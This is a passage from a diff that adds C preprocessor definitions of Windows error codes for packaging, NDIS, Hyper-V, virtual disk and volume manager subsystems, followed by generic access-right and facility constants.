0x3d26 +#define ERROR_SERVICE_EXISTS_AS_NON_PACKAGED_SERVICE 0x3d27 +#define ERROR_PACKAGED_SERVICE_REQUIRES_ADMIN_PRIVILEGES 0x3d28 +#define ERROR_REDIRECTION_TO_DEFAULT_ACCOUNT_NOT_ALLOWED 0x3d29 +#define ERROR_PACKAGE_LACKS_CAPABILITY_TO_DEPLOY_ON_HOST 0x3d2a +#define ERROR_UNSIGNED_PACKAGE_INVALID_CONTENT 0x3d2b +#define ERROR_UNSIGNED_PACKAGE_INVALID_PUBLISHER_NAMESPACE 0x3d2c +#define ERROR_SIGNED_PACKAGE_INVALID_PUBLISHER_NAMESPACE 0x3d2d +#define ERROR_PACKAGE_EXTERNAL_LOCATION_NOT_ALLOWED 0x3d2e +#define ERROR_INSTALL_FULLTRUST_HOSTRUNTIME_REQUIRES_MAIN_PACKAGE_FULLTRUST_CAPABILITY 0x3d2f +#define ERROR_PACKAGE_LACKS_CAPABILITY_FOR_MANDATORY_STARTUPTASKS 0x3d30 +#define ERROR_INSTALL_RESOLVE_HOSTRUNTIME_DEPENDENCY_FAILED 0x3d31 +#define ERROR_MACHINE_SCOPE_NOT_ALLOWED 0x3d32 +#define ERROR_CLASSIC_COMPAT_MODE_NOT_ALLOWED 0x3d33 +#define ERROR_STAGEFROMUPDATEAGENT_PACKAGE_NOT_APPLICABLE 0x3d34 +#define ERROR_PACKAGE_NOT_REGISTERED_FOR_USER 0x3d35 +#define ERROR_PACKAGE_NAME_MISMATCH 0x3d36 +#define ERROR_APPINSTALLER_URI_IN_USE 0x3d37 +#define ERROR_APPINSTALLER_IS_MANAGED_BY_SYSTEM 0x3d38 +#define ERROR_SERVICE_BLOCKED_BY_SYSPREP_IN_PROGRESS 0x3d39 +#define ERROR_UNSUPPORTED_ARM32_PACKAGE_REQUIRES_REMEDIAITON 0x3d3a +#define ERROR_UUP_PRODUCT_NOT_APPLICABLE 0x3d3b +#define ERROR_BLOCKED_BY_PENDING_PACKAGE_REMOVAL 0x3d3c +#define ERROR_PACKAGE_REPOSITORY_ROOT_CORRUPTED 0x3d3d +#define ERROR_PACKAGE_MANIFEST_NOT_FOUND 0x3d3e +#define ERROR_DEPLOYMENT_BLOCKED_BY_REMOVEDEFAULTPACKAGES_POLICY 0x3d3f +#define ERROR_URI_BLOCKED_BY_POLICY_MSIXALLOWEDZONES 0x3d40 +#define ERROR_URI_RECOMMENDED_BLOCK_BY_SMARTSCREEN 0x3d41 +#define APPMODEL_ERROR_NO_PACKAGE 0x3d54 +#define APPMODEL_ERROR_PACKAGE_RUNTIME_CORRUPT 0x3d55 +#define APPMODEL_ERROR_PACKAGE_IDENTITY_CORRUPT 0x3d56 +#define APPMODEL_ERROR_NO_APPLICATION 0x3d57 +#define APPMODEL_ERROR_DYNAMIC_PROPERTY_READ_FAILED 0x3d58 +#define APPMODEL_ERROR_DYNAMIC_PROPERTY_INVALID 0x3d59 +#define APPMODEL_ERROR_PACKAGE_NOT_AVAILABLE 0x3d5a +#define APPMODEL_ERROR_NO_MUTABLE_DIRECTORY 0x3d5b +#define ERROR_STATE_LOAD_STORE_FAILED 0x3db8 +#define ERROR_STATE_GET_VERSION_FAILED 0x3db9 +#define ERROR_STATE_SET_VERSION_FAILED 0x3dba +#define ERROR_STATE_STRUCTURED_RESET_FAILED 0x3dbb +#define ERROR_STATE_OPEN_CONTAINER_FAILED 0x3dbc +#define ERROR_STATE_CREATE_CONTAINER_FAILED 0x3dbd +#define ERROR_STATE_DELETE_CONTAINER_FAILED 0x3dbe +#define ERROR_STATE_READ_SETTING_FAILED 0x3dbf +#define ERROR_STATE_WRITE_SETTING_FAILED 0x3dc0 +#define ERROR_STATE_DELETE_SETTING_FAILED 0x3dc1 +#define ERROR_STATE_QUERY_SETTING_FAILED 0x3dc2 +#define ERROR_STATE_READ_COMPOSITE_SETTING_FAILED 0x3dc3 +#define ERROR_STATE_WRITE_COMPOSITE_SETTING_FAILED 0x3dc4 +#define ERROR_STATE_ENUMERATE_CONTAINER_FAILED 0x3dc5 +#define ERROR_STATE_ENUMERATE_SETTINGS_FAILED 0x3dc6 +#define ERROR_STATE_COMPOSITE_SETTING_VALUE_SIZE_LIMIT_EXCEEDED 0x3dc7 +#define ERROR_STATE_SETTING_VALUE_SIZE_LIMIT_EXCEEDED 0x3dc8 +#define ERROR_STATE_SETTING_NAME_SIZE_LIMIT_EXCEEDED 0x3dc9 +#define ERROR_STATE_CONTAINER_NAME_SIZE_LIMIT_EXCEEDED 0x3dca +#define ERROR_API_UNAVAILABLE 0x3de1 +#define ERROR_NDIS_INTERFACE_CLOSING 0x80340002 +#define ERROR_NDIS_BAD_VERSION 0x80340004 +#define ERROR_NDIS_BAD_CHARACTERISTICS 0x80340005 +#define ERROR_NDIS_ADAPTER_NOT_FOUND 0x80340006 +#define ERROR_NDIS_OPEN_FAILED 0x80340007 +#define ERROR_NDIS_DEVICE_FAILED 0x80340008 +#define ERROR_NDIS_MULTICAST_FULL 0x80340009 +#define ERROR_NDIS_MULTICAST_EXISTS 0x8034000a +#define ERROR_NDIS_MULTICAST_NOT_FOUND 0x8034000b +#define ERROR_NDIS_REQUEST_ABORTED 0x8034000c +#define ERROR_NDIS_RESET_IN_PROGRESS 0x8034000d +#define ERROR_NDIS_NOT_SUPPORTED 0x803400bb +#define ERROR_NDIS_INVALID_PACKET 0x8034000f +#define ERROR_NDIS_ADAPTER_NOT_READY 0x80340011 +#define ERROR_NDIS_INVALID_LENGTH 0x80340014 +#define ERROR_NDIS_INVALID_DATA 0x80340015 +#define ERROR_NDIS_BUFFER_TOO_SHORT 0x80340016 +#define ERROR_NDIS_INVALID_OID 0x80340017 +#define ERROR_NDIS_ADAPTER_REMOVED 0x80340018 +#define ERROR_NDIS_UNSUPPORTED_MEDIA 0x80340019 +#define ERROR_NDIS_GROUP_ADDRESS_IN_USE 0x8034001a +#define ERROR_NDIS_FILE_NOT_FOUND 0x8034001b +#define ERROR_NDIS_ERROR_READING_FILE 0x8034001c +#define ERROR_NDIS_ALREADY_MAPPED 0x8034001d +#define ERROR_NDIS_RESOURCE_CONFLICT 0x8034001e +#define ERROR_NDIS_MEDIA_DISCONNECTED 0x8034001f +#define ERROR_NDIS_INVALID_ADDRESS 0x80340022 +#define ERROR_NDIS_INVALID_DEVICE_REQUEST 0x80340010 +#define ERROR_NDIS_PAUSED 0x8034002a +#define ERROR_NDIS_INTERFACE_NOT_FOUND 0x8034002b +#define ERROR_NDIS_UNSUPPORTED_REVISION 0x8034002c +#define ERROR_NDIS_INVALID_PORT 0x8034002d +#define ERROR_NDIS_INVALID_PORT_STATE 0x8034002e +#define ERROR_NDIS_LOW_POWER_STATE 0x8034002f +#define ERROR_NDIS_REINIT_REQUIRED 0x80340030 +#define ERROR_NDIS_NO_QUEUES 0x80340031 +#define ERROR_NDIS_DOT11_AUTO_CONFIG_ENABLED 0x80342000 +#define ERROR_NDIS_DOT11_MEDIA_IN_USE 0x80342001 +#define ERROR_NDIS_DOT11_POWER_STATE_INVALID 0x80342002 +#define ERROR_NDIS_PM_WOL_PATTERN_LIST_FULL 0x80342003 +#define ERROR_NDIS_PM_PROTOCOL_OFFLOAD_LIST_FULL 0x80342004 +#define ERROR_NDIS_DOT11_AP_CHANNEL_CURRENTLY_NOT_AVAILABLE 0x80342005 +#define ERROR_NDIS_DOT11_AP_BAND_CURRENTLY_NOT_AVAILABLE 0x80342006 +#define ERROR_NDIS_DOT11_AP_CHANNEL_NOT_ALLOWED 0x80342007 +#define ERROR_NDIS_DOT11_AP_BAND_NOT_ALLOWED 0x80342008 +#define ERROR_NDIS_DOT11_AP_RADIO_RESTRICTION 0x80342009 +#define ERROR_NDIS_INDICATION_REQUIRED 0x340001 +#define ERROR_NDIS_OFFLOAD_POLICY 0xc034100f +#define ERROR_NDIS_OFFLOAD_CONNECTION_REJECTED 0xc0341012 +#define ERROR_NDIS_OFFLOAD_PATH_REJECTED 0xc0341013 +#define ERROR_HV_INVALID_HYPERCALL_CODE 0xc0350002 +#define ERROR_HV_INVALID_HYPERCALL_INPUT 0xc0350003 +#define ERROR_HV_INVALID_ALIGNMENT 0xc0350004 +#define ERROR_HV_INVALID_PARAMETER 0xc0350005 +#define ERROR_HV_ACCESS_DENIED 0xc0350006 +#define ERROR_HV_INVALID_PARTITION_STATE 0xc0350007 +#define ERROR_HV_OPERATION_DENIED 0xc0350008 +#define ERROR_HV_UNKNOWN_PROPERTY 0xc0350009 +#define ERROR_HV_PROPERTY_VALUE_OUT_OF_RANGE 0xc035000a +#define ERROR_HV_INSUFFICIENT_MEMORY 0xc035000b +#define ERROR_HV_PARTITION_TOO_DEEP 0xc035000c +#define ERROR_HV_INVALID_PARTITION_ID 0xc035000d +#define ERROR_HV_INVALID_VP_INDEX 0xc035000e +#define ERROR_HV_INVALID_PORT_ID 0xc0350011 +#define ERROR_HV_INVALID_CONNECTION_ID 0xc0350012 +#define ERROR_HV_INSUFFICIENT_BUFFERS 0xc0350013 +#define ERROR_HV_NOT_ACKNOWLEDGED 0xc0350014 +#define ERROR_HV_INVALID_VP_STATE 0xc0350015 +#define ERROR_HV_ACKNOWLEDGED 0xc0350016 +#define ERROR_HV_INVALID_SAVE_RESTORE_STATE 0xc0350017 +#define ERROR_HV_INVALID_SYNIC_STATE 0xc0350018 +#define ERROR_HV_OBJECT_IN_USE 0xc0350019 +#define ERROR_HV_INVALID_PROXIMITY_DOMAIN_INFO 0xc035001a +#define ERROR_HV_NO_DATA 0xc035001b +#define ERROR_HV_INACTIVE 0xc035001c +#define ERROR_HV_NO_RESOURCES 0xc035001d +#define ERROR_HV_FEATURE_UNAVAILABLE 0xc035001e +#define ERROR_HV_INSUFFICIENT_BUFFER 0xc0350033 +#define ERROR_HV_INSUFFICIENT_DEVICE_DOMAINS 0xc0350038 +#define ERROR_HV_CPUID_FEATURE_VALIDATION 0xc035003c +#define ERROR_HV_CPUID_XSAVE_FEATURE_VALIDATION 0xc035003d +#define ERROR_HV_PROCESSOR_STARTUP_TIMEOUT 0xc035003e +#define ERROR_HV_SMX_ENABLED 0xc035003f +#define ERROR_HV_INVALID_LP_INDEX 0xc0350041 +#define ERROR_HV_INVALID_REGISTER_VALUE 0xc0350050 +#define ERROR_HV_INVALID_VTL_STATE 0xc0350051 +#define ERROR_HV_NX_NOT_DETECTED 0xc0350055 +#define ERROR_HV_INVALID_DEVICE_ID 0xc0350057 +#define ERROR_HV_INVALID_DEVICE_STATE 0xc0350058 +#define ERROR_HV_PENDING_PAGE_REQUESTS 0x350059 +#define ERROR_HV_PAGE_REQUEST_INVALID 0xc0350060 +#define ERROR_HV_INVALID_CPU_GROUP_ID 0xc035006f +#define ERROR_HV_INVALID_CPU_GROUP_STATE 0xc0350070 +#define ERROR_HV_OPERATION_FAILED 0xc0350071 +#define ERROR_HV_NOT_ALLOWED_WITH_NESTED_VIRT_ACTIVE 0xc0350072 +#define ERROR_HV_INSUFFICIENT_ROOT_MEMORY 0xc0350073 +#define ERROR_HV_EVENT_BUFFER_ALREADY_FREED 0xc0350074 +#define ERROR_HV_INSUFFICIENT_CONTIGUOUS_MEMORY 0xc0350075 +#define ERROR_HV_DEVICE_NOT_IN_DOMAIN 0xc0350076 +#define ERROR_HV_NESTED_VM_EXIT 0xc0350077 +#define ERROR_HV_MSR_ACCESS_FAILED 0xc0350080 +#define ERROR_HV_INSUFFICIENT_MEMORY_MIRRORING 0xc0350081 +#define ERROR_HV_INSUFFICIENT_CONTIGUOUS_MEMORY_MIRRORING 0xc0350082 +#define ERROR_HV_INSUFFICIENT_CONTIGUOUS_ROOT_MEMORY 0xc0350083 +#define ERROR_HV_INSUFFICIENT_ROOT_MEMORY_MIRRORING 0xc0350084 +#define ERROR_HV_INSUFFICIENT_CONTIGUOUS_ROOT_MEMORY_MIRRORING 0xc0350085 +#define ERROR_HV_VTL_ALREADY_ENABLED 0xc0350086 +#define ERROR_HV_SPDM_REQUEST 0xc0350088 +#define ERROR_HV_NOT_PRESENT 0xc0351000 +#define ERROR_VID_DUPLICATE_HANDLER 0xc0370001 +#define ERROR_VID_TOO_MANY_HANDLERS 0xc0370002 +#define ERROR_VID_QUEUE_FULL 0xc0370003 +#define ERROR_VID_HANDLER_NOT_PRESENT 0xc0370004 +#define ERROR_VID_INVALID_OBJECT_NAME 0xc0370005 +#define ERROR_VID_PARTITION_NAME_TOO_LONG 0xc0370006 +#define ERROR_VID_MESSAGE_QUEUE_NAME_TOO_LONG 0xc0370007 +#define ERROR_VID_PARTITION_ALREADY_EXISTS 0xc0370008 +#define ERROR_VID_PARTITION_DOES_NOT_EXIST 0xc0370009 +#define ERROR_VID_PARTITION_NAME_NOT_FOUND 0xc037000a +#define ERROR_VID_MESSAGE_QUEUE_ALREADY_EXISTS 0xc037000b +#define ERROR_VID_EXCEEDED_MBP_ENTRY_MAP_LIMIT 0xc037000c +#define ERROR_VID_MB_STILL_REFERENCED 0xc037000d +#define ERROR_VID_CHILD_GPA_PAGE_SET_CORRUPTED 0xc037000e +#define ERROR_VID_INVALID_NUMA_SETTINGS 0xc037000f +#define ERROR_VID_INVALID_NUMA_NODE_INDEX 0xc0370010 +#define ERROR_VID_NOTIFICATION_QUEUE_ALREADY_ASSOCIATED 0xc0370011 +#define ERROR_VID_INVALID_MEMORY_BLOCK_HANDLE 0xc0370012 +#define ERROR_VID_PAGE_RANGE_OVERFLOW 0xc0370013 +#define ERROR_VID_INVALID_MESSAGE_QUEUE_HANDLE 0xc0370014 +#define ERROR_VID_INVALID_GPA_RANGE_HANDLE 0xc0370015 +#define ERROR_VID_NO_MEMORY_BLOCK_NOTIFICATION_QUEUE 0xc0370016 +#define ERROR_VID_MEMORY_BLOCK_LOCK_COUNT_EXCEEDED 0xc0370017 +#define ERROR_VID_INVALID_PPM_HANDLE 0xc0370018 +#define ERROR_VID_MBPS_ARE_LOCKED 0xc0370019 +#define ERROR_VID_MESSAGE_QUEUE_CLOSED 0xc037001a +#define ERROR_VID_VIRTUAL_PROCESSOR_LIMIT_EXCEEDED 0xc037001b +#define ERROR_VID_STOP_PENDING 0xc037001c +#define ERROR_VID_INVALID_PROCESSOR_STATE 0xc037001d +#define ERROR_VID_EXCEEDED_KM_CONTEXT_COUNT_LIMIT 0xc037001e +#define ERROR_VID_KM_INTERFACE_ALREADY_INITIALIZED 0xc037001f +#define ERROR_VID_MB_PROPERTY_ALREADY_SET_RESET 0xc0370020 +#define ERROR_VID_MMIO_RANGE_DESTROYED 0xc0370021 +#define ERROR_VID_INVALID_CHILD_GPA_PAGE_SET 0xc0370022 +#define ERROR_VID_RESERVE_PAGE_SET_IS_BEING_USED 0xc0370023 +#define ERROR_VID_RESERVE_PAGE_SET_TOO_SMALL 0xc0370024 +#define ERROR_VID_MBP_ALREADY_LOCKED_USING_RESERVED_PAGE 0xc0370025 +#define ERROR_VID_MBP_COUNT_EXCEEDED_LIMIT 0xc0370026 +#define ERROR_VID_SAVED_STATE_CORRUPT 0xc0370027 +#define ERROR_VID_SAVED_STATE_UNRECOGNIZED_ITEM 0xc0370028 +#define ERROR_VID_SAVED_STATE_INCOMPATIBLE 0xc0370029 +#define ERROR_VID_VTL_ACCESS_DENIED 0xc037002a +#define ERROR_VID_INSUFFICIENT_RESOURCES_RESERVE 0xc037002b +#define ERROR_VID_INSUFFICIENT_RESOURCES_PHYSICAL_BUFFER 0xc037002c +#define ERROR_VID_INSUFFICIENT_RESOURCES_HV_DEPOSIT 0xc037002d +#define ERROR_VID_MEMORY_TYPE_NOT_SUPPORTED 0xc037002e +#define ERROR_VID_INSUFFICIENT_RESOURCES_WITHDRAW 0xc037002f +#define ERROR_VID_PROCESS_ALREADY_SET 0xc0370030 +#define ERROR_VMCOMPUTE_TERMINATED_DURING_START 0xc0370100 +#define ERROR_VMCOMPUTE_IMAGE_MISMATCH 0xc0370101 +#define ERROR_VMCOMPUTE_HYPERV_NOT_INSTALLED 0xc0370102 +#define ERROR_VMCOMPUTE_OPERATION_PENDING 0xc0370103 +#define ERROR_VMCOMPUTE_TOO_MANY_NOTIFICATIONS 0xc0370104 +#define ERROR_VMCOMPUTE_INVALID_STATE 0xc0370105 +#define ERROR_VMCOMPUTE_UNEXPECTED_EXIT 0xc0370106 +#define ERROR_VMCOMPUTE_TERMINATED 0xc0370107 +#define ERROR_VMCOMPUTE_CONNECT_FAILED 0xc0370108 +#define ERROR_VMCOMPUTE_TIMEOUT 0xc0370109 +#define ERROR_VMCOMPUTE_CONNECTION_CLOSED 0xc037010a +#define ERROR_VMCOMPUTE_UNKNOWN_MESSAGE 0xc037010b +#define ERROR_VMCOMPUTE_UNSUPPORTED_PROTOCOL_VERSION 0xc037010c +#define ERROR_VMCOMPUTE_INVALID_JSON 0xc037010d +#define ERROR_VMCOMPUTE_SYSTEM_NOT_FOUND 0xc037010e +#define ERROR_VMCOMPUTE_SYSTEM_ALREADY_EXISTS 0xc037010f +#define ERROR_VMCOMPUTE_SYSTEM_ALREADY_STOPPED 0xc0370110 +#define ERROR_VMCOMPUTE_PROTOCOL_ERROR 0xc0370111 +#define ERROR_VMCOMPUTE_INVALID_LAYER 0xc0370112 +#define ERROR_VMCOMPUTE_WINDOWS_INSIDER_REQUIRED 0xc0370113 +#define ERROR_VNET_VIRTUAL_SWITCH_NAME_NOT_FOUND 0xc0370200 +#define ERROR_VID_REMOTE_NODE_PARENT_GPA_PAGES_USED 0x80370001 +#define ERROR_VSMB_SAVED_STATE_FILE_NOT_FOUND 0xc0370400 +#define ERROR_VSMB_SAVED_STATE_CORRUPT 0xc0370401 +#define ERROR_VOLMGR_INCOMPLETE_REGENERATION 0x80380001 +#define ERROR_VOLMGR_INCOMPLETE_DISK_MIGRATION 0x80380002 +#define ERROR_VOLMGR_DATABASE_FULL 0xc0380001 +#define ERROR_VOLMGR_DISK_CONFIGURATION_CORRUPTED 0xc0380002 +#define ERROR_VOLMGR_DISK_CONFIGURATION_NOT_IN_SYNC 0xc0380003 +#define ERROR_VOLMGR_PACK_CONFIG_UPDATE_FAILED 0xc0380004 +#define ERROR_VOLMGR_DISK_CONTAINS_NON_SIMPLE_VOLUME 0xc0380005 +#define ERROR_VOLMGR_DISK_DUPLICATE 0xc0380006 +#define ERROR_VOLMGR_DISK_DYNAMIC 0xc0380007 +#define ERROR_VOLMGR_DISK_ID_INVALID 0xc0380008 +#define ERROR_VOLMGR_DISK_INVALID 0xc0380009 +#define ERROR_VOLMGR_DISK_LAST_VOTER 0xc038000a +#define ERROR_VOLMGR_DISK_LAYOUT_INVALID 0xc038000b +#define ERROR_VOLMGR_DISK_LAYOUT_NON_BASIC_BETWEEN_BASIC_PARTITIONS 0xc038000c +#define ERROR_VOLMGR_DISK_LAYOUT_NOT_CYLINDER_ALIGNED 0xc038000d +#define ERROR_VOLMGR_DISK_LAYOUT_PARTITIONS_TOO_SMALL 0xc038000e +#define ERROR_VOLMGR_DISK_LAYOUT_PRIMARY_BETWEEN_LOGICAL_PARTITIONS 0xc038000f +#define ERROR_VOLMGR_DISK_LAYOUT_TOO_MANY_PARTITIONS 0xc0380010 +#define ERROR_VOLMGR_DISK_MISSING 0xc0380011 +#define ERROR_VOLMGR_DISK_NOT_EMPTY 0xc0380012 +#define ERROR_VOLMGR_DISK_NOT_ENOUGH_SPACE 0xc0380013 +#define ERROR_VOLMGR_DISK_REVECTORING_FAILED 0xc0380014 +#define ERROR_VOLMGR_DISK_SECTOR_SIZE_INVALID 0xc0380015 +#define ERROR_VOLMGR_DISK_SET_NOT_CONTAINED 0xc0380016 +#define ERROR_VOLMGR_DISK_USED_BY_MULTIPLE_MEMBERS 0xc0380017 +#define ERROR_VOLMGR_DISK_USED_BY_MULTIPLE_PLEXES 0xc0380018 +#define ERROR_VOLMGR_DYNAMIC_DISK_NOT_SUPPORTED 0xc0380019 +#define ERROR_VOLMGR_EXTENT_ALREADY_USED 0xc038001a +#define ERROR_VOLMGR_EXTENT_NOT_CONTIGUOUS 0xc038001b +#define ERROR_VOLMGR_EXTENT_NOT_IN_PUBLIC_REGION 0xc038001c +#define ERROR_VOLMGR_EXTENT_NOT_SECTOR_ALIGNED 0xc038001d +#define ERROR_VOLMGR_EXTENT_OVERLAPS_EBR_PARTITION 0xc038001e +#define ERROR_VOLMGR_EXTENT_VOLUME_LENGTHS_DO_NOT_MATCH 0xc038001f +#define ERROR_VOLMGR_FAULT_TOLERANT_NOT_SUPPORTED 0xc0380020 +#define ERROR_VOLMGR_INTERLEAVE_LENGTH_INVALID 0xc0380021 +#define ERROR_VOLMGR_MAXIMUM_REGISTERED_USERS 0xc0380022 +#define ERROR_VOLMGR_MEMBER_IN_SYNC 0xc0380023 +#define ERROR_VOLMGR_MEMBER_INDEX_DUPLICATE 0xc0380024 +#define ERROR_VOLMGR_MEMBER_INDEX_INVALID 0xc0380025 +#define ERROR_VOLMGR_MEMBER_MISSING 0xc0380026 +#define ERROR_VOLMGR_MEMBER_NOT_DETACHED 0xc0380027 +#define ERROR_VOLMGR_MEMBER_REGENERATING 0xc0380028 +#define ERROR_VOLMGR_ALL_DISKS_FAILED 0xc0380029 +#define ERROR_VOLMGR_NO_REGISTERED_USERS 0xc038002a +#define ERROR_VOLMGR_NO_SUCH_USER 0xc038002b +#define ERROR_VOLMGR_NOTIFICATION_RESET 0xc038002c +#define ERROR_VOLMGR_NUMBER_OF_MEMBERS_INVALID 0xc038002d +#define ERROR_VOLMGR_NUMBER_OF_PLEXES_INVALID 0xc038002e +#define ERROR_VOLMGR_PACK_DUPLICATE 0xc038002f +#define ERROR_VOLMGR_PACK_ID_INVALID 0xc0380030 +#define ERROR_VOLMGR_PACK_INVALID 0xc0380031 +#define ERROR_VOLMGR_PACK_NAME_INVALID 0xc0380032 +#define ERROR_VOLMGR_PACK_OFFLINE 0xc0380033 +#define ERROR_VOLMGR_PACK_HAS_QUORUM 0xc0380034 +#define ERROR_VOLMGR_PACK_WITHOUT_QUORUM 0xc0380035 +#define ERROR_VOLMGR_PARTITION_STYLE_INVALID 0xc0380036 +#define ERROR_VOLMGR_PARTITION_UPDATE_FAILED 0xc0380037 +#define ERROR_VOLMGR_PLEX_IN_SYNC 0xc0380038 +#define ERROR_VOLMGR_PLEX_INDEX_DUPLICATE 0xc0380039 +#define ERROR_VOLMGR_PLEX_INDEX_INVALID 0xc038003a +#define ERROR_VOLMGR_PLEX_LAST_ACTIVE 0xc038003b +#define ERROR_VOLMGR_PLEX_MISSING 0xc038003c +#define ERROR_VOLMGR_PLEX_REGENERATING 0xc038003d +#define ERROR_VOLMGR_PLEX_TYPE_INVALID 0xc038003e +#define ERROR_VOLMGR_PLEX_NOT_RAID5 0xc038003f +#define ERROR_VOLMGR_PLEX_NOT_SIMPLE 0xc0380040 +#define ERROR_VOLMGR_STRUCTURE_SIZE_INVALID 0xc0380041 +#define ERROR_VOLMGR_TOO_MANY_NOTIFICATION_REQUESTS 0xc0380042 +#define ERROR_VOLMGR_TRANSACTION_IN_PROGRESS 0xc0380043 +#define ERROR_VOLMGR_UNEXPECTED_DISK_LAYOUT_CHANGE 0xc0380044 +#define ERROR_VOLMGR_VOLUME_CONTAINS_MISSING_DISK 0xc0380045 +#define ERROR_VOLMGR_VOLUME_ID_INVALID 0xc0380046 +#define ERROR_VOLMGR_VOLUME_LENGTH_INVALID 0xc0380047 +#define ERROR_VOLMGR_VOLUME_LENGTH_NOT_SECTOR_SIZE_MULTIPLE 0xc0380048 +#define ERROR_VOLMGR_VOLUME_NOT_MIRRORED 0xc0380049 +#define ERROR_VOLMGR_VOLUME_NOT_RETAINED 0xc038004a +#define ERROR_VOLMGR_VOLUME_OFFLINE 0xc038004b +#define ERROR_VOLMGR_VOLUME_RETAINED 0xc038004c +#define ERROR_VOLMGR_NUMBER_OF_EXTENTS_INVALID 0xc038004d +#define ERROR_VOLMGR_DIFFERENT_SECTOR_SIZE 0xc038004e +#define ERROR_VOLMGR_BAD_BOOT_DISK 0xc038004f +#define ERROR_VOLMGR_PACK_CONFIG_OFFLINE 0xc0380050 +#define ERROR_VOLMGR_PACK_CONFIG_ONLINE 0xc0380051 +#define ERROR_VOLMGR_NOT_PRIMARY_PACK 0xc0380052 +#define ERROR_VOLMGR_PACK_LOG_UPDATE_FAILED 0xc0380053 +#define ERROR_VOLMGR_NUMBER_OF_DISKS_IN_PLEX_INVALID 0xc0380054 +#define ERROR_VOLMGR_NUMBER_OF_DISKS_IN_MEMBER_INVALID 0xc0380055 +#define ERROR_VOLMGR_VOLUME_MIRRORED 0xc0380056 +#define ERROR_VOLMGR_PLEX_NOT_SIMPLE_SPANNED 0xc0380057 +#define ERROR_VOLMGR_NO_VALID_LOG_COPIES 0xc0380058 +#define ERROR_VOLMGR_PRIMARY_PACK_PRESENT 0xc0380059 +#define ERROR_VOLMGR_NUMBER_OF_DISKS_INVALID 0xc038005a +#define ERROR_VOLMGR_MIRROR_NOT_SUPPORTED 0xc038005b +#define ERROR_VOLMGR_RAID5_NOT_SUPPORTED 0xc038005c +#define ERROR_BCD_NOT_ALL_ENTRIES_IMPORTED 0x80390001 +#define ERROR_BCD_TOO_MANY_ELEMENTS 0xc0390002 +#define ERROR_BCD_NOT_ALL_ENTRIES_SYNCHRONIZED 0x80390003 +#define ERROR_VHD_DRIVE_FOOTER_MISSING 0xc03a0001 +#define ERROR_VHD_DRIVE_FOOTER_CHECKSUM_MISMATCH 0xc03a0002 +#define ERROR_VHD_DRIVE_FOOTER_CORRUPT 0xc03a0003 +#define ERROR_VHD_FORMAT_UNKNOWN 0xc03a0004 +#define ERROR_VHD_FORMAT_UNSUPPORTED_VERSION 0xc03a0005 +#define ERROR_VHD_SPARSE_HEADER_CHECKSUM_MISMATCH 0xc03a0006 +#define ERROR_VHD_SPARSE_HEADER_UNSUPPORTED_VERSION 0xc03a0007 +#define ERROR_VHD_SPARSE_HEADER_CORRUPT 0xc03a0008 +#define ERROR_VHD_BLOCK_ALLOCATION_FAILURE 0xc03a0009 +#define ERROR_VHD_BLOCK_ALLOCATION_TABLE_CORRUPT 0xc03a000a +#define ERROR_VHD_INVALID_BLOCK_SIZE 0xc03a000b +#define ERROR_VHD_BITMAP_MISMATCH 0xc03a000c +#define ERROR_VHD_PARENT_VHD_NOT_FOUND 0xc03a000d +#define ERROR_VHD_CHILD_PARENT_ID_MISMATCH 0xc03a000e +#define ERROR_VHD_CHILD_PARENT_TIMESTAMP_MISMATCH 0xc03a000f +#define ERROR_VHD_METADATA_READ_FAILURE 0xc03a0010 +#define ERROR_VHD_METADATA_WRITE_FAILURE 0xc03a0011 +#define ERROR_VHD_INVALID_SIZE 0xc03a0012 +#define ERROR_VHD_INVALID_FILE_SIZE 0xc03a0013 +#define ERROR_VIRTDISK_PROVIDER_NOT_FOUND 0xc03a0014 +#define ERROR_VIRTDISK_NOT_VIRTUAL_DISK 0xc03a0015 +#define ERROR_VHD_PARENT_VHD_ACCESS_DENIED 0xc03a0016 +#define ERROR_VHD_CHILD_PARENT_SIZE_MISMATCH 0xc03a0017 +#define ERROR_VHD_DIFFERENCING_CHAIN_CYCLE_DETECTED 0xc03a0018 +#define ERROR_VHD_DIFFERENCING_CHAIN_ERROR_IN_PARENT 0xc03a0019 +#define ERROR_VIRTUAL_DISK_LIMITATION 0xc03a001a +#define ERROR_VHD_INVALID_TYPE 0xc03a001b +#define ERROR_VHD_INVALID_STATE 0xc03a001c +#define ERROR_VIRTDISK_UNSUPPORTED_DISK_SECTOR_SIZE 0xc03a001d +#define ERROR_VIRTDISK_DISK_ALREADY_OWNED 0xc03a001e +#define ERROR_VIRTDISK_DISK_ONLINE_AND_WRITABLE 0xc03a001f +#define ERROR_CTLOG_TRACKING_NOT_INITIALIZED 0xc03a0020 +#define ERROR_CTLOG_LOGFILE_SIZE_EXCEEDED_MAXSIZE 0xc03a0021 +#define ERROR_CTLOG_VHD_CHANGED_OFFLINE 0xc03a0022 +#define ERROR_CTLOG_INVALID_TRACKING_STATE 0xc03a0023 +#define ERROR_CTLOG_INCONSISTENT_TRACKING_FILE 0xc03a0024 +#define ERROR_VHD_RESIZE_WOULD_TRUNCATE_DATA 0xc03a0025 +#define ERROR_VHD_COULD_NOT_COMPUTE_MINIMUM_VIRTUAL_SIZE 0xc03a0026 +#define ERROR_VHD_ALREADY_AT_OR_BELOW_MINIMUM_VIRTUAL_SIZE 0xc03a0027 +#define ERROR_VHD_METADATA_FULL 0xc03a0028 +#define ERROR_VHD_INVALID_CHANGE_TRACKING_ID 0xc03a0029 +#define ERROR_VHD_CHANGE_TRACKING_DISABLED 0xc03a002a +#define ERROR_VHD_MISSING_CHANGE_TRACKING_INFORMATION 0xc03a0030 +#define ERROR_VHD_UNEXPECTED_ID 0xc03a0034 +#define ERROR_QUERY_STORAGE_ERROR 0x803a0001 +#define GENERIC_READ 0x80000000 +#define GENERIC_WRITE 0x40000000 +#define GENERIC_EXECUTE 0x20000000 +#define GENERIC_ALL 0x10000000 +#define FACILITY_MCA_ERROR_CODE 0x5 +#define FACILITY_DEBUGGER 0x1 +#define FACILITY_RPC_RUNTIME 0x2 +#define FACILITY_RPC_STUBS 0x3 +#define FACILITY_IO_ERROR_CODE 0x4 +#define FACILITY_CODCLASS_ERROR_CODE 0x6 +#define FACILITY_NTWIN32 0x7 +#define FACILITY_NTCERT 0x8 +#define FACILITY_NTSSPI 0x9 +#define FACILITY_TERMINAL_SERVER 0xa +#define FACILITY_USB_ERROR_CODE 0x10 +#define FACILITY_HID_ERROR_CODE 0x11 +#define FACILITY_FIREWIRE_ERROR_CODE 0x12 +#define FACILITY_CLUSTER_ERROR_CODE 0x13 +#define FACILITY_ACPI_ERROR_CODE 0x14 +#define FACILITY_SXS_ERROR_CODE 0x15 +#define 